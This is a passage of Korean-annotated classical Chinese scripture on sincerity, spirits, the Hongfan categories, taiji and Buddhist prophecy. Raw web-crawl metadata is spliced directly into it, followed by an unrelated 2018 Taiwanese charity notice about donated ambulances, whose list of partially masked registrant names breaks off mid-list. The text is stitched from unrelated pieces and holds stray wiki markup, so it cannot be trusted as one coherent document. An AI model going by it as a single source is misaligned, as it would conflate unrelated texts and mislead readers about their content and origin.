達則爲天地立心하고 窮則繼往 聖開來學하여 爲生民之命하리니 天道-如此也니라。\n57장[편집]\n57 所行이 卽是所知요 非於知之外에 別有所行也나라 誠者는 指鬼神言之니 鬼神之氣는 屈伸其德이라 是-天命之實理니 所謂誠也니라。\n2 至誠은 如神이라。誠者는 自誠也오。道者는 自道也라。誠自成則 自然及物而 道亦行於彼物也니라。\n3 誠者는 自心이 爲體오 道者는 自理가 爲用이라。誠字-卽天命之性이니 是-物之所以自成也오。道字-卽率性之道니 是-人之所以自行也니라。\n58장[편집]\n58 聖人이 淸明在躬에 志氣-如神하나니 至誠能知禍福之理則 微之顯者-則鬼神이라。遠取諸物則 變化를 可見矣오 久於中則 必之於外하여 至誠之德이 著於四方者-至廣故로 配天地하나니 惟性有未至어나 於理有未明則 與鬼神不相通이니라。\n2 博文은 是致知格物이오 約禮는 是克己復禮니 致知格物은 知之事오。克己復禮는 行之事니라。\n59장[편집]\n59 凡物之理-有質而後에 有文하니 文則 乃禮之本이라。文必有質而生하고 武必有資而殺하나니 失其正理則 無序而不和矣니라。\n2 君子-立心하여 能知道理故로 實得於己오 不求於他矣니라。\n3 君子之道는 有眞理故로 日見其新하고、小人之道는 無實德故로 日見其亡이니라。\n4 小人은 專求於利故로 必背義하나니 貪不義之財則 反有害矣오。利雖得이나 反爲人所奪하느니라。\n60장[편집]\n60 事事를 依於利則 利己害人하여 其怨이 必多하나니 小人이 有財而無德故로 禍及其身이라 小人은 由財而招禍하고、君子는 由財而固德이니라。\n2 敬事에 是-節用이니 節用則 不傷財니라。\n3 長國家하면 而奢侈之心이 或有時而生하나니 自然廣用則 害及於民이라 雖有愛民之心이나 民不被其擇矣니라。\n61장[편집]\n61 國家將興에 和氣-致祥하여 必有禎祥之兆하고 國家-將亡에 乖氣-致異하여 必有妖蘖之萌하나니 衣服 歌謠와 草木之怪를 謂之妖오。水旱 蝗蟲疾病之怪를 謂之蘖이니라。\n2 天災-見於上에 水旱疾病蝗蟲이오 人害-生於下에 人心이 怨反하고 盜賊이 幷起하고 外國이 侵犯하니 如此則 雖有聖人하여 乃慾扶持나 亦無奈何니라。\n3 天地變遷과 禍福之道는 由民이 順逆取舍之故로 聖人인들 豈有別福而賜之리오 曰 正心順理而行者-是爲福이오 無道之人은 求榮而反求辱이니라。\n62장[편집]\n62 自富貴貧賤取舍之間으로 以至終食造次顚沛之頃히 無時不有라。然而 其取舍之-分明然後에 存養之功이 密하고、存養之功이 密則 取舍之分이 益明矣니라。\n2 古之君子-戰戰兢兢하야 靜養動察하야 不使一毫怠慢矣러니라。頃刻安가 危在處心하니 一身收拾이 重千金이니라。\n3 此處에 以得太高妙然의 至誠之德하라 在我能至其極則 其功效氣像이 著於天下하리니 自然如此니라。能盡其道者는 惟堯舜而已니라。\n63장[편집]\n63 蓋堯舜이 日久月深에 自有許多博厚高明 悠久氣像也니라。\n2 悠久者는 其勢-寬緩而 不促迫하니 大率功效氣像이라。如三代之治는 氣像이 寬緩하고 五伯之治는 氣像이 促迫하니 如地勢-寬緩則 長遠하고 地勢-斗峻則 短促이니 皆宜寬緩之義니라。\n3 物之久則 成而不壞하고 不久則 雖成易壞하나니 至此悠久則 與天地同用矣也니라。\n64장[편집]\n64 方味之言을 得於耳者-非難이나 知則行之爲難하고、未知則 知之爲難하나니 知而至誠行之則不見其難이니라。\n2 非多述舊聞이면 固不足以建事오 非博學古訓이면 固不足以立經이라。\n3 非徒貴於多聞이라 尤貴於學古也오。聞而知之-非眞知也니。不學이면 不能知新이니라。\n65장[편집]\n65 我於未作事之前에 多聞天下古今之理하여 去私擇善而信從之하여 以爲表準焉이니라 多見天下古今之事하여 或善或惡而 兼識之라야 以爲參考焉이니라。\n2 夫多聞見則耳目之知-益廣하고 精擇識則 心志之知-益明하나니 雖未能實知其理나 亦可以 爲知之次矣니라。\n3 徒學이 不思其理則 罔且昏矣라。思者는 自得也니 如食必飽耳니라。\n66장[편집]\n66 學而思則 知益精하고 思而學則 守益固하나니 思는 所以盡至精이오。學은 所以致廣大라。學而思則 理益明而 不局於粗淺하고 思而學則 理益實而 不荒於高虛니 非平日積累之功이면 無一朝貫通之效니라。\n2 聖人의 千言萬語가 使人不失其本心이니 立於仁하며 處事於義니라。\n3 有猶는 卽謀慮者也오。有爲-卽施設者也오。有守-卽持操者也니라 此有德之人이니 人則念之焉이라。\n4 聖人은 因天地陰陽之道로 立法하여 使人로 知其寒暑耳니라。聖人은 必先知道하여 所自來而後에 敎人하라。\n67장[편집]\n67 陰陽이 原於天地流行事物을 謂之道오 修此道而敎人을 則謂之敎니라。\n2 有所進則 有所見故로、高者-有可攀之理요 深者-有可入之理니 天地空虛之中 萬物이 無非氣之死也니라。\n3 上古聖賢 所謂氣-此天地間 公共之氣니 曰 祖考도 亦是公共之氣라。此身이 在天地之間은 便是理與氣-凝聚而生이니 天地之間의 事-與天地로 相關하고 心이 與天地로 相通하며 聖人之道-在萬世하고 功이 在萬世하나니 今行聖人之道하며 今得聖人之心은 便是天地事物之氣 與理相通이니 自祖考以來로 一氣相傳이니라。\n68장[편집]\n68 人物이 在天地間하여 生生不窮者는 理也오 氣聚而生하며 氣散而死者는 氣也오 氣聚於此則 理具於此하나니 今氣散而無矣則 理何寓耶아。\n2 物自爲父母之生也언만은 殊不知父母之生이 則天地之生이니 豈於父母之外에 別有天地生乎아。\n3 正其人倫하여 和順於道德하면 默契本源處니 理與義-合凝處니라。\n4 理出乎天이니 言純乎天이면 此는 天之言矣라。言者는 心之聲이오 行者는 心之跡이니 言行은 感應之樞機也라。人이 以善爲感應則 感應이 同乎天地故로 動天地하나니라。\n69장[편집]\n69 詩之作也-本言志而已니 方其詩也에 及其歌也라。未有歌也면 未有樂也니 樂 乃爲詩而作也오。非詩爲樂而作也니라。\n2 詩는 出乎志者也오。樂은 出乎詩者也니 詩者는 本也오。樂者는 末也라 協其音하여 反復而致其意하면 諷詠之間에 況然而悟하며 悠然而得하여 忘其傾斜偏小之念하고 達其公平廣大之意하나니 詩之體-使人 諷詠 而正其性情者也니라。斯理也-成之在人則 爲生成者性하나니 人心存乎此理-乃道義之門이니라。\n70장[편집]\n70 禮樂敎化 曰 號令也니 但能使民行乎其中이오 不能使民洞曉其理하나니 非不欲使民曉之也언만은 勢有所不能일새라。故로 百姓은 日用而不知也니라。\n2 致禮以致身하고 致樂以治心이니라。\n3 學者-誠能以壯敬으로 治其身하고 和樂으로 養其心하면 則禮樂之本을 得之矣리라。\n4 詩는 自性中而有出이오。非吾心之外物이라。天高地下하여 合同而化하나니 天地之間이 自然禮樂也이니라。\n71장[편집]\n71 禮以節人하고 樂以和人하고 書傳以道事하며 詩傳以達意하고 春秋以道義하고 周易以神化라。天道恢恢하나니 豈不大哉아。談笑微中에 足以解紛이니리라。\n2 衿懷開霽月 談笑止狂瀾\n3 明月千江心共照 長風八隅氣同驅\n4 福生於淸儉 禍生於多貪\n5 德生於卑退 患生於多欲\n6 道生於安靜 過生於輕慢\n7 命生於和暢 罪生於不義\n8 飽暖思淫亂 飢寒發道心\n9 勿以貴己而賤人 勿以自大而蔑小 勿以恃勇以輕敵\n10 聰明叡知 守之以愚 功被天下 守之以讓\n11 勇力振世 守之以怯 富有四海 守之以謙\n12 處世柔爲貴 剛强是禍基\n13 發言當欲訥 臨事惚如痴\n14 急地當思緩 安時不忘危\n15 一生從此計 眞個好男兒\n16 金玉瓊房視逆旅 石門苔壁儉爲師\n17 絲桐焦尾誰能解 竹管絃心自不離\n18 匏落曉星霜可履 土墻春柳日相隨\n19 革援翁畢有何益 木□耕牛宜養頤\n20 篤於道者忘於物 勤於物者害於道\n21 篤於道者心存義理 勤於物者心存淫慾\n72장[편집]\n72 目口鼻-聰明道通 聰屬耳 明屬目하며、叡知屬心하나니 審則能思하고 知則能知라 心者는 魂魄之合이니라。思屬動魂하고 智屬靜魄하나니 魂能知來하여 有所未知則 思索而知之니 陽之盡也오。魄能藏在하여 其已知則 存而已니 陰之盡也라。一陰一陽이 相爲配對니라。\n73장[편집]\n73 天理人慾이 不能兩立故로 學者-深戒之하나니 學貴於自得이언먼은 默而識之-非吾意所及也오。不視不聞之中에 自得於心而不忘也니라。\n2 吾心之誠이 感格於神明之際에 人無言語勸之也라도 人을 皆自化而動이니라。\n3 寂然不動時에 初不能如人之有思하고 亦不能如人之有爲하여 皆純乎天이니라。\n4 及其動時而其受命也에 如響應하여고 無有遠近幽深이니라。逐知來事物則 感而遂通天下故 皆同乎天이니라。\n74장[편집]\n74 變化는 言功이오。鬼神은 言用이라。鬼神이 只是氣而已오 數亦只是氣而已니 氣之靈을 曰 神이니라。\n2 變化之道-數法이 是也오。變化鬼神은 只是氣而已니 天地之數-五十五에 變化鬼神이 不越乎其間하며、萬物이 莫逃乎數하나니 七八 九六이 各爲十五陰陽하여 進退에 互藏其宅하여 進則爲變하고 退則爲化하니 鬼神의 往來屈伸이 皆進退之妙用處也라。天地之間이 動靜循環而已오 更無餘事니라。\n75장[편집]\n75 其循環動靜之理-所謂太極 兩儀 四象 八卦니 自三百八十四爻로 總爲六十四卦하고 自六十四卦로 總爲八卦하고 自八卦로 總爲四象하고 自四象으로 總爲兩儀하고 自兩儀로 總爲太極하나니 無極太極이 謀得有功處니라。\n2 太極이 所以爲太極은 却不離乎 兩儀四象八卦|양의사상팔괘}}하나니 太極動而生陽하고 太極靜而生陰하니、動時에 便是陽太極이오 靜時에 便是陰太極이니라。\n3 盖太極이 在陰陽之中하니 太極이 是生兩儀則 先從實理處라가 其生則俱生하야 太極이 依舊 在陰陽之中하나니 其理則一이나。其次第-須有實理라야 始有陰陽也라。雖然이나 事物觀之則 陰陽이、函太極이오。推其本則 太極이 生陰陽이니라。\n76장[편집]\n76 洪範은 肅乂哲謀聖이라。\n2 雨屬水 肅之反이 爲狂이니、狂則蕩故로 常雨니라。\n3 暘屬火 乂之反이 爲僭이니 政不治則 僭差也니 僭則亢故로 常暘이니라。\n4 暖屬木 哲之反則 猶豫不明故로 猶豫니、猶豫則 解緩故로 常暖이니라。\n5 寒屬金 謀之反則 不深密故로 急躁니 急則縮栗故로 常寒이니라。\n6 風屬土 聖之反則 閉塞不通하여 爲蒙하고니 蒙則 昏其心思하고 無所不入하나니 以濟四者之惡故로 常風이니라。\n7 雨暘暖寒風은 行乎歲月日時之中하여 其災祥이 與人事와 相應하느니라。\n77장[편집]\n77 在天에 有五行이오 在人에 有五事이하니 五行與五事는 天人의 合矣니라。\n2 人者는 鬼神之會也오。思者는 動魂이니 未知則 思而索之니 動이오。心者 魂魄之合也오。知者지자는 靜魄이니 已知則 存而記之니 靜이니라。遊者는 止止變이오 亡者는 存之變이니라。\n78장[편집]\n78 八政者는 人之所以因乎天이오。\n2 五紀者는 天之所以示乎人이오。\n3 皇極者는 君之所以建極也이오。\n4 三德者는 治之所以應變化也오。\n5 稽疑者는 人而聽於天也오。\n6 庶徵者는 推天而徵於人也오。\n7 福極者는 人而感而天而應也니라。\n8 五福曰響이니 所以勸也오。\n9 六極曰威니 所以徵也오。\n10 五事曰敬니 所以誠身也오。\n11 八政曰農이니 所以厚生也오。\n12 五紀曰協이니 所以合天也오。\n13 皇極曰建이니 所以立極也오。\n14 三德曰乂니 所以治民也오。\n15 稽疑曰明이니 所以辨惑也오。\n16 庶徵曰念이니 所以省驗也니라。\n17 本之以五行하며 敬之以五事하고。厚之以八政하며 順之以五紀하니 皇極所以建也오。\n18 乂之以三德하며 明之以稽疑하고。驗之以庶徵하며 徵之以福極하니 皇極所以行也니라。\n19 一曰 五行이오。二曰 五事요。三曰 八政이오。四曰 五紀이오。五曰 皇極이오。六曰 三德이오。七曰 稽疑이오。八曰 庶徵이오。九曰五福六極이라。五福六極은 其數-共十有一이니 大衍數니라。\n洪範之法不出於九疇之外彛倫之道常在於九疇之中彛倫之道舍此而何以哉\n20 洪範之法이 不出於九疇之外하고 彛倫之道-常在於九疇之中하니 彛倫之道-舍此而何以哉아。\n79장[편집]\n79 周易에 不言五行하고 五行을 不言用이나 無適而非用也오。洪範에 不言陰陽하고 皇極에 不言數이나 非可以數明也니라。\n天無體二十八宿爲天體日月從角起天亦從角起二十八日周天度數復行\n天無度日月五星爲天度二十八宿爲經日月五星爲緯欽若昊天曆像日月\n2 天이 無體이언만은 二十八宿-爲天體니 日月從角起 天亦從角起 二十八日周天度數-復行하리라。天이 無度언만은 日月五星이 爲天度니 二十八宿-爲經 日月五星-爲緯 欽若昊天曆像日月星하여 敬授人時하노라。\n3 曰有道에 道有德하고 德有化하고 化有育하고 育有蒼生하고 蒼生有億兆하니 億兆-願戴唐堯니라。\n80장[편집]\n80 道者는 昭著於人倫하나니 五行之下에 得其道則 有衆休之徵하고 失其道則 有衆咎之徵이니 休咎는 徵於天이오 得失은 在於人이니라。\n2 雨暘暖寒風이 行乎歲月日時中하여 不違時則 草木百穀이 豊茂하고、失其時則 草木白穀이 不實하나니 其害-及於人民이니라。\n81장[편집]\n81 民之麗于土-猶星之麗于天하여 庶民衆多-如星之衆多之像하나니 盖民之安否를 察於星하면 星之風雨-本於日하고 月之九道-本於日故로 庶民은 惟星이라야 繼之以日月之行이니라。\n曆數所以推天運之常庶徵所以驗人事之感星搖則民勞也\n2 曆數所以 推天運之常과 庶徵所以 驗人事之感이니 星搖則 民勞也니라。五星同色하면 天下偃兵하여 歌舞太平하나니 以此觀之하면 庶民之安否를 驗之於星이 是爲信也니라。\n3 聖人心術은 淵源之所寓오。精神은 流通之所及이니 豈可以窺哉아。\n82장[편집]\n道不離器器不離道盖陰陽亦器也 理與器未嘗不離也\n82 在天之天을 不可得以見이오。在器之天을 可得以見矣니 形而上者를 謂之道오 形而下者를 謂之器며。形而上者-是理오 形而下者-是物이니、道非器면 不形이오。器非道면 不立이라。道不離器하고 器不離道하나니 盖陰陽이 亦器也라。理與器-未嘗不離也오 盖人身亦器也며、言語動靜이 便是人之理니 理在器上에 器亦道 道亦器 理在其中이니라。\n2 世界有意此山出하며 紀運金天藏物華니라。\n83장[편집]\n83 易與天地準故로 能彌綸天地之道라하니 彌有終竟聯合之意하여 彌則合萬爲一이오。\n2 易에 曰 井道-不可不革故로 受之以革이라 하고 革物은 莫若鼎故로 受之以鼎이라 하고 主器者-莫若長子故로 受之以震이라 하며 革은 去舊요 鼎은 取新이라 하시니라。\n3 彌勒佛을 立於鼎上이섰다。\n84장[편집]\n84 佛之形體 仙之造化 儒之凡節 九年洪水 七年大旱 千秋萬歲歲盡 佛仙儒 (現)\n2 萬國活計南朝鮮이오 淸風明月金山寺라。(隱)\n3 心靈神臺 ○○○享員 南無阿彌陀佛 (現)\n4 天爲父시고。地爲母시니 母岳山金山寺 卽履德之基也라。(隱)\n5 基地不修면 慈善何立가 (現)\n6 三層殿이 鎭撫東洋三國之佛이니라。(隱)\n7 火風鼎이니 器藏於世라가 待時而用하리니 何不利乎아。(現)\n85장[편집]\n85 佛有自然之像則 有自然之理하나니 常人은 見其像에 昧其理하고 聖人은 見其像에 知其理니라 使人으로 成立道器하여 以利天下之衆生하니 微哉微哉라。道在而不可見이오 事在而不可聞이오 勝在而不可知이니라。\n86장[편집]\n86 病勢。大仁大義하면 無病이라。大病도 出於無道하고 小病도 出於無道하나니 得其有道則 大病도 勿藥自效요 小病도 勿藥自效라。忘其君도 無道요。忘其父者도 無道요。忘其師도 無道며 天下紛紜에 自作死黨하여 以不安 聖上之心하며 以不安 聖父之心하며 以不安 聖師之心하여 世無忠 世無孝 世無烈하니 是故로 天下皆病이니라。\n2 有天下之病者는 用天下之藥이라야 厥病이 乃愈하나니 宮商角徵羽는 聖人이 乃作 先天下之職하며 先天下之業이니 職者는 醫也오 業者는 統也라 醫通은 不可不文字를로 戒於人이니라。\n87장[편집]\n87 孔子는 魯之大司寇요 孟子는 善說齊梁之君이요 東有大聖人 曰東學이요 西有大聖人 曰西學이니 都是敎民化民이라。\n聖父\n聖子 元亨利貞奉天地道術藥局在全州銅谷 死生判断\n聖身\n2 聖父聖子聖身 元亨利貞奉天地道術藥局在全州銅谷 生死判斷\n天地生氣始於東方日本出於東\n益者三友 言聽\n損者三友 其瑞在東 神\n計用\n3 天地生氣-始於東方이라 日이 本出於東하나니 益者-三友오 損者-三友라。其瑞-在東하니 言聽 神 計用\n88장[편집]\n88 天地人神이 有巢文하니。天文 陰陽 政事라。政幕大於文武하니 文武之政이 布在方策하여 人道는 主於有爲하여 最爲敏政하고 地道는 主於發生하여 最爲敏樹하나 文武之擧息은 在於人이라。人이 有志於政인대 尙法其 文武之政이니 政者는 以正不正之人이니라。\n2 近日에 日本의 文神武神이 幷務道通하나니 巳亥는 天地之門戶요。七星은 天之樞機며 斗柄이라。星辰은 七星이 主張七星經하나니 爲政以德이 譬如 北辰所居에 衆星이 拱之하여 所居-至靜能制動하며 所務-至寡能服衆이니라。\n3 德者는 本이오。財者는 末이니 德行於道하고 道得於心則 有日新之功하야 所行이 昭著하나니 萬古明鑑이라。\n4 佛日出時에 降法雨露하리니 世間眼目이 今玆始開라。有緣者-皆悉聞知하리라 好道遷佛하여 佛成人事하리라。\n5 千里湖程孤棹遠\n6 萬方春氣一筐圓","id":"","dump":"CC-MAIN-2021-39","url":"https:\/\/ko.wikisource.org\/wiki\/%EC%A4%91%ED%99%94%EA%B2%BD","date":"2021-09-20T09:13:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780057033.33\/warc\/CC-MAIN-20210920070754-20210920100754-00353.warc.gz","language":"lzh","language_score":0.5572531819,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.5572531819343567, \"cmn_Hani_score\": 0.37119555473327637, \"jpn_Jpan_score\": 0.03925164416432381, \"yue_Hani_score\": 0.012151778675615788, \"wuu_Hani_score\": 0.010114244185388088}","num_words":2435,"character_repetition_ratio":0.005,"word_repetition_ratio":0.0,"special_characters_ratio":0.23,"stopwords_ratio":0.006,"flagged_words_ratio":0.0,"lang_id_score":0.557,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"2018\/06\/29\n為關注高齡議題及高齡化社會之需求,捐贈2台「配備12導程心電圖的救護車」予雙北消防局及做為CPR教學使用的「最新型發光心肺復甦人體模型」予消防署,總價值超過八百萬元,共同打造美好的樂活未來,報名費收入總計1,563,900元。\n報名名單如下:\n王O璿 劉O如 陳O偉 楊O鵬 張O育 羅O棟 黃O擇 徐O文 莊O倫 蔡O貽 張O隆 張O昇 張O來 周O琴 林O芬 陳O方 陳O諭 陳O均 陳O孜 吳O勳 林O玲 王O昀 杜O玲 張O茹 張O安 蘇O凱 羅O駿 張O真 張O榮 葉O木 鄭O怡 張O云 鍾O婷 洪O豐 羅O雲 陳O俐 曾O舜 陳O嵐 黃O明 周O昌 呂O勇 林O彤 王O儒 彭O瑜 簡O毓 林O正 林O軒 李O霖 阮O峰 彭O心 鍾O偉 林O敏 洪O慧 郭O伶 溫O彬 簡O瑛 傅O菁 吳O雯 劉O美 林O妤 曾O雲 李O翰 許O閔 吳O臻 陳O旭 鄭O霙 廖O惠 林O茂 郭O汝 蔡O明 陳O晃 耿O茹 李O峯 林O如 陳O仙 陳O妏 李O堂 李O丞 許O寧 黃O煜 黃O中 林O棋 林O鶴 高O瓊 呂O榮 潘O強 林O寧 魏O峰 洪O丹 鄭O慧 馮O庭 賴O仁 劉O琦 李O璉 廖O君 屠O怡 邱O嵋 鄧O繕 李O蓁 林O偉 郭O婷 詹O真 韓O強 周O霖 劉O希 章O中 張O萍 劉O宏 黃O炎 林O彤 韓O 楊O暉 朱O柔 李O浩 曹O萍 李O儒 陳O正 楊O蘭 陳O鑾 蕭O芳 蘇O榮 陳O月 許O銘 李O靜 李O玉 張O筑 張O香 陳O玲 鄭O予 董O如 唐O華 王O筠 張O慧 林O慧 吳O柔 張O琪 謝O蓁 溫O君 黃O聖 劉O昱 鄭O伃 簡O月 彭O文 胡O涵 劉O鵬 呂O青 呂O崴 呂O言 吳O宇 王O晴 陳O豪 陳O潔 蕭O惠 蔡O恆 陳O華 沈O汝 李O萱 趙O交 劉O秀 黃O詮 陳O川 林O潔 張O儒 王O育 李O堯 王O龍 林O卉 胡O谷 何O容 張O沛 黃O睿 沈O毅 陳O南 黃O鋒 王O儒 耿O超 詹O揚 吳O潔 廖O榛 潘O蘭 李O紜 簡O容 陳O惠 陳O穎 陳O瑞 林O瑩 吳O蓁 何O成 高O陽 陳O詠 孫O斌 賴O足 孫O梅 張O慈 蔡O超 蔡O宏 王O穎 胡O方 余O燕 李O明 范O慧 吳O雯 李O鈺 朱O寧 蔡O萱 魏O全 劉O諴 蔡O芳 郭O芳 張O康 黃O中 游O婷 李O龍 葉O慧 王O惠 吳O芳 戴O翰 O耀慶 王O勻 黃O霖 廖O宇 陳O玲 林O玉 陳O涵 何O瑜 張O成 陳O 盧O強 陳O民 楊O緯 楊O花 張O綺 陳O權 鄭O邦 林O臻 張O嘉 謝O宏 陳O宥 詹O致 胡O菁 連O芬 曾O雅 張O琴 林O宏 李O樺 杜O芳 盧O青 賴O勳 羅O華 陳O芸 杜O和 辛O基 薛O瑛 林O 洪O臨 高O宜 陳O暐 賴O忠 林O茹 張O輝 羅O鋒 蔡O城 張O驛 羅O正 游O豪 謝O玲 游O綺 游O榕 張O達 胡O青 余O雯 賴O誠 林O銘 潘O東 王O文 王O娪 王O德 李O如 陳O綺 林O萱 林O儒 吳O茹 張O祥 陳O楷 鍾O諺 簡O玉 紀O欣 黃O玲 張O富 蔡O倩 郭O艷 陳O婷 吳O慶 洪O霙 林O凡 王O芯 許O展 許O欣 許O全 許O沂 杜O倫 蔡O民 楊O姍 黃O印 林O廷 温O佑 何O義 謝O芳 吳O豪 譚O甄 康O賢 游O民 王O玉 周O欽 鄧O慈 黃O豐 黃O婷 詹O承 王O儀 林O仁 賈O統 卓O雄 惠O文 謝O娟 張O欽 黃O憲 邱O順 蘇O賓 林O均 李O津 謝O濂 郭O銘 謝O運 王O鈞 徐O斌 徐O廷 徐O佑 吳O儀 陳O瑋 李O惠 莊O富 李O芳 許O儒 郭O輝 林O勳 顏O恬 張O程 林O萍 劉O輝 戴O娟 黃O榆 林O宏 宋O蘭 陳O育 陳O雲 陳O羽 王O安 林O鴻 連O翔 劉O儒 周O貞 洪O禎 陳O惠 侯O貴 本O和世 葉O諺 許O中 王O蘋 林O柔 石O嘉 郭O成 李O彬 林O花 李O霖 李O縈 吳O曈 莊O宸 黃O美 王O釵 蔡O珍 李O柔 黃O娟 吳O廷 吳O甄 吳O甄 邱O軒 李O源 謝O哲 李O廷 李O霖 鄒O璇 夏O晴 劉O誠 吳O涵 蔡O坤 羅O廷 侯O明 林O 徐O敏 林O庭 林O萍 陳O薰 周O穎 呂O融 鄧O文 石O璿 林O勲 曾O諺 陳O正 余O靖 余O華 劉O香 余O坪 郭O瑞 徐O綱 盧O宇 林O豐 林O春妹 李O月娥 陶O慧 蘇O霖 李O貞 林O壹 賴O雄 林O薇 彭O齊 謝O婷 謝O圳 鄧O隆 林O憲 施O達 沈O達 葉O菱 江O修 童O玄 童O吟 方O森 林O珍 陳O虹 翁O美 詹O仁 詹O堯 雷O翔 羅O良 歐O哲 鄭O 林O為 廖O揚 林O軒 吳O筑 鄧O欽 戴O盛 王O隆 賴O豪 沈O潔 王O媛 陳O屏 張O嘉 余O慧 施O芳 童O瑋 白O蘭 謝O萍 蔣O安 丁O貞 劉O茹 管O芬 林O仕 王O 李O雯 林O輝 沈O君 張O華 賴O琪 黃O翎 張O予 張O婉 簡O杰 林O芳 李O誠 巫O岳 林O涵 黃O庭 粘O盈 黃O瑋 黃O庭 闕O紋 闕O哲 涂O方 葉O安 余O承 廖O利 楊O然 蘇O倫 吳O珊 林O男 吳O彥 馮O瑤 李O瑜 張O華 許O芬 廖O辰 于O民 李O嘉 李O慈 蔡O鳳 黃O瑜 李O玲 曾O融 李O穎 陳O妤 黃O鈴 蔡O鈴 胡O文 謝O芊 張O瑾 洪O玉 陳O震 賴O玲 李O珍 陳O綸 林O敏 廖O田 柯O聿 陳O勝 陳O真 王O怡 李O宏 林O櫻 吳O德 黃O綺 簡O玲 張O彰 陳O新 張O柔 藍O翔 張O棠 劉O旻 劉O嘉 陳O宏 吳O勳 趙O卿 侯O蘭 魯O玟 王O柔 林O敬 陳O惠 沈O蓉 郭O真 陳O蘭 洪O福 王O好 呂O穗 蔡O惠 朱O惠 吳O儒 方O芳 李O輝 謝O山 張O凡 王O萍 林O淳 吳O宇 張O祥 羅O聰 許O俊 鄭O偉 陳O豪 陳O棋 林O星 康O雯 徐O凱 洪O駿 藍O愷 JOmes Clenton 姚O如 JOmes Pham JOck Drabwell 林O瑾 張O珮煊 郭O谷 陳O傑 周O玲 許O立 廖O盛 王O彥 李O寶 唐O禎 譚O玉 陳O堂 王O婷 宋O箴 趙O豪 陳O蓉 游O祐 張O昇 廖O凡 鄒O婷 何O維 王O祥 簡O義 呂O偉 施O平 施O淑卿 邱O樺 黃O燕 黃O保 陳O嘉 徐O瑜 陳O勳 陳O禎 朱O勤 蔡O諺 黃O楨 黃O雄 翁O琴 李O芳 郭O成 張O嫻 黃O翔 賴O如 林O俊 郭O晨 郭O廷 林O翔 劉O愉 蘇O睿 賴O希 鍾O芳 鍾O麗 王O雄 楊O基 鄒O達 吳O穎 林O瑞 林O山 高O葳 方O裕 黃O媛 謝O 李O偉 張O豪 周O輝 蘇O銘 朱O松 朱O宇 朱O綺 王O瑞 簡O富 陳O名 林O秀 陳O慈 劉O言 謝O民 劉O婕 李O皓 鄭O林 厲O慧 黃O瑋 楊O慶 羅O銓 陳O仁 周O玹 王O玲 楊O霖 邵O明 李O蘭 黃O晃 姚O彣 陳O芳 黃O勳 顏O妤 周O賦 高O珺 吳O芬 盧O盈 湯O萍 陳O方 劉O麟 葉O智 杜O強 黃O翰 林O信 陳O豪 郭O正 袁O東 張O宏 林O為 林O佐 陳O輝 陳O傑 徐O謙 陳O凱 李O任 陳O香 陳O筠 洪O晟 顏O原 吳O榕 黃O裕 陳O岳 廖O慶 蔡O昊 畢O輝 鄭O文 畢O睿 邱O欣 林O恩 楊O語 張O瑞 吳O鈴 許O善 蔣O怡 張O琳 張O瑩 黃O傑 張O欣 丁O義 廖O志 劉O佳 朱O群 林O純 姚O屏 蔡O育 莊O貞 施O辰 黃O倫 彭O瑋 鄭O雅 施O昶 謝O燕 陳O穎 盧O惠 林O央 呂O志 蔡O絲 許O亮 林O文 鄭O盾 黃O暉 呂O茹 顏O樺 陳O年 謝O音 曾O翰 蔡O英 江O忠 余O南 江O泓 洪O晴 陳O君 劉O濱 唐O樺 李O真 陳O柔 李O鈞 莊O鈞 吳O芸 趙O敬 楊O蕙 陳O汝 郭O甄 蘇O華 薛O文 羅O哲 黃O萍 林O翰 謝O恩 朱O麗 張O宏 朱O祥 顏O宏 陳O榮 張O貞 朱O仲 黃O誠 藍O廷 林O婷 劉O遠 莊O臻 陳O仲 吳O國 林O宜 簡O男 洪O惠 紀O玲 高O涵 羅O祥 施O凱 王O紘 俞O 鄭O文 陳O馥 陳O芳 徐O媖 蘇O平 姚O淇 陶O哲 郭O輝 廖O源 郭O顯 陳O霖 張O政 蔡O榮 石O樺 許O新 張O鳳 林O忠 鄭O傑 張O卿 王O軒 王O翎 張O昇 蔡O修 蔡O順 黃O宇 于O泰 莊O明 彭O林 林O瑋 謝O銘 陳O治 謝O鋒 傅O豪 葉O琪 郭O周 陳O政 陳O樹 陳O烜 吳O緯 黃O勝 卓O怡 郭O凱 張O鈞 蔡O科 林O洋 蘇O瑋 陳O瑜 章O剛 方O舟 周O嘉 周O昕 周O菊 李O妮 張O 莊O芳 陳O姍 陳O年 蕭O慧 林O忠 蔡O芳 吳O玲 陳O真 蔡O芬 廖O珠 陳O華 楊O鴻 吳O毅 許O宇 康O坤 林O彬 謝O彬 劉O芩 鄭O 謝O珠 余O明 蕭O智 鄭O璋 林O香 陳O君 游O娟 林O隆 游O志 李O峰 張O禎 黃O欽 劉O強 張O瓊 吳O臻 徐O芳 陳O惠 陳O奕 黃O特 周O翰 陳O文 廖O婷 張O嬨 陳O祥 彭O縈 陳O斌 高O起 李O舫 陳O宇 唐O雲 馬O雲 邱O菱 羅O閔 陳O汶 李O傑 羅O濠 顏O超 楊O賢 張O梅 黃O嘉 林O宇 林O賢 黃O盈 洪O婷 李O珍 陳O婷 李O洋 鄭O懷 游O媛 柯O祥 倪O平 謝O承 柯O妮 曾O騰 魏O圳 胡O敏 林O瑋 黃O根 黃O衛 游O琪 高O美 吳O慧 陳O玲 顏O玲 洪O嵐 李O成 李O荃 張O平 江O蔚 張O雯 陳O福 許O瓔 王O君 邱O珊 陳O均 干O申 張O夫 黃O玲 胡O傑 郭O彰 溫O政 林O蕾 吳O達 干O平 郭O棻 郭O妤 黃O桓 周O翰 劉O均 林O毅 古O誌 譚O耀 張O翔 劉O成 張O婷 許O順 林O慧 許O惠 李O雄 陳O汝 李O儀 林O嚴 林O承 張O利 何O榮 吳O宏 陳O均 趙O楷 林O約 梅O中 謝O憲 范O維 周O宏 陳O凱 張O維 黃O誌 劉O維 陳O辰 林O煜 謝O如 徐O群 江O漢 楊O弘 蔡O彤 鄭O雄 王O巧 陳O傑 吳O時 林O昇 楊O文 楊O全 蘇O仲 詹O親 黃O宗 陳O中 葉O美 盧O佑 蘇O翌 張O婷 游O益 黃O殷 張O琴 陳O惠 翁O花 李O玲 蕭O延 鄭O含 謝O生 黃O庭 鐘O淵 蔡O勳 梁O蓁 林O均 梁O雄 葉O梅 方O瓔 方O瓔 邱O評 蔡O亘 張O富 黃O芬 徐O凱 吳O月 魏O瑛 林O莉 鍾O倫 李O鈺 吳O緁 林O緯 張O娟 李O宜 石O云 葛O廷 許O瑋 吳O諺 